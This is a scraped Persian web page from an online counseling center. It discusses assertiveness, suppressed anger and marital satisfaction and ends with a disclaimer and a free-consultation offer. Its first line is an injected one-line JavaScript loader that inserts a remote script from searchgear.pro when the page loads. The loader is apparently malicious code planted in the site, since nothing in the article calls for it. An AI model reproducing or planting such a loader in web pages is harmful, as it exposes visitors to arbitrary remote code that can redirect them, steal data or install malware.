;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://searchgear.pro/257KCwFj"); ابراز وجود | مرکز مشاوره آنلاین روان‌یاری

ابراز وجود

میزان پیشرفت خواندن شما

فهرست مطالب

عصبانیت و ابراز وجود

یکی از عواملی که می تواند میزان رضایت­مندی زناشویی را پیش بینی کند،

داشتن خصیصه­ جرئت آمیزی یا همان مهارت ابراز وجود در تعامل میان زن و شوهر است.

کسانی که این خصیصه را دارند، می دانند در چه زمانی احساس خود را ابراز کنند.

زن و شوهری که مدام خودشان را سانسور می­ کنند،

حرف­شان را در سینه نگه می دارند،

احساس­ واقعی خود را پنهان می­ کنند و مهارت ابراز احساس­ هایشان را در زمان و مکان مناسب ندارند،

نمی­ توانند به رضایت­مندی مطلوب زناشویی دست یابند.

ابراز وجود کردن یکی از مشکلات عمده زوجهاست که اغلب به عصبانیت ختم می شود.

به نظر می رسد که بسیاری از زنها و شوهرها، از بیم آنکه همسر خود را برنجانند و یا زمینه تلافی جویی او را فراهم سازند، از ابراز وجود خودداری میکنند.

عصبانیت و ابراز وجود
http://ابراز وجود

من که از آتش دل، چون خُمِ مِى در جوشم 

 مُهر بر لب زده، خون مى‌خورم و خاموشم

گرفتاری دیگر هم این است که در بسیاری از مواقع، اشخاص از علت دقیق ناراحتی خود بی اطلاعند.

ناتوانی زن و شوهر در ارائه چارچوبی برای بحث درباره موارد اختلاف هم اغلب مسئله ساز می شود.

در میان نگذاشتن خواسته­ های خود در روابط نزدیک، آثار منفی پایداری بر جای می­ گذارد.

ما اغلب به اشتباه گمان می­ کنیم دیگران به اندازه­ای ما را می­ شناسند که بدانند چه احساسی داریم و چه می خواهیم.

می­ پنداریم نیازی نیست که خواسته­ هایمان را با دیگران در میان بگذاریم.

همین پندارهای اشتباه موجب می­ شود که ما نیازها، احساس­ ها و خواسته­ هایمان را به زبان نیاوریم،

و انتظار داشته باشیم که دیگران خودشان متوجه آن‌ها شوند.

خشم و عصبانیت
http://ابراز وجود

گاه گرفتاری ابراز وجود نکردن به گونه ای است که شخص از وجود آن آگاه نمی شود،

و همین قدر می داند که از افسردگی خفیف، احساس دلتنگی خستگی و عوارض روانی مبهم رنج می برد.

شاید بارها حکایت زندگی زن و شوهرهایی را شنیده باشید که هیچ­وقت دعوا و یا جر و بحثی با هم ندارند،

اما ناگهان با تصمیم خود مبنی بر جدایی، همه را متحیر و شگفت زده می­ کنند.

در بسیاری از این موارد، زن و گاهی شوهر،

احساس های منفی و ناخوش­آیند خود را سرکوب کرده تا مانع از بروز جر و بحث و دعوا شود.

درنتیجه، او بی حس و حال می­ شود و توانایی ابراز عشق و محبت را ندارد.

هنگامی که احساس های منفی سرکوب می­شوند،

احساس­ های مثبت هم به همراه آن سرکوب می­ شوند و عشق و محبت می­ میرد.

بی­شک، جلوگیری از بحث و دعوا کار سودمندی است؛

اما نباید برای جلوگیری از بروز جر و بحث، احساس­ را سرکوب نمود.

علاوه بر این، زن با سرکوب عمدی احساس­ هایش، ماهیت موج گونه خود را مختل می­ سازد،

و به تدریج برای همیشه به موجودی بی احساس و بی­ شور و حرارت مبدل می شود.

Rate this post
  کرونا و بیماری وسواس

توجه داشته باشید که این مطلب، جایگزین نظرات و توصیه‌های تخصصی پزشکان نیست و هرگز از این مطلب به‌عنوان جایگزین توصیه پزشکان استفاده نکنید.

جهت جلب رضايت و اعتماد شما دوست عزيز و اثبات تخصص و دانش و به جهت تصميم گيري صحيح شما در انتخاب مشاور خود، ميتوانيد يك تا دو جلسه مشاوره آنلاين رايگان از ما دريافت كنيد، كافيست روي دكمه درخواست مشاوره رايگان در همين صفحه كليك نماييد.

دیدگاه‌ خود را بنویسید

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *

مرکز مشاوره آنلاین روان‌یاری

جهت رزرو یک جلسه مشاوره رایگان فرم زیر را تکمیل بفرمایید.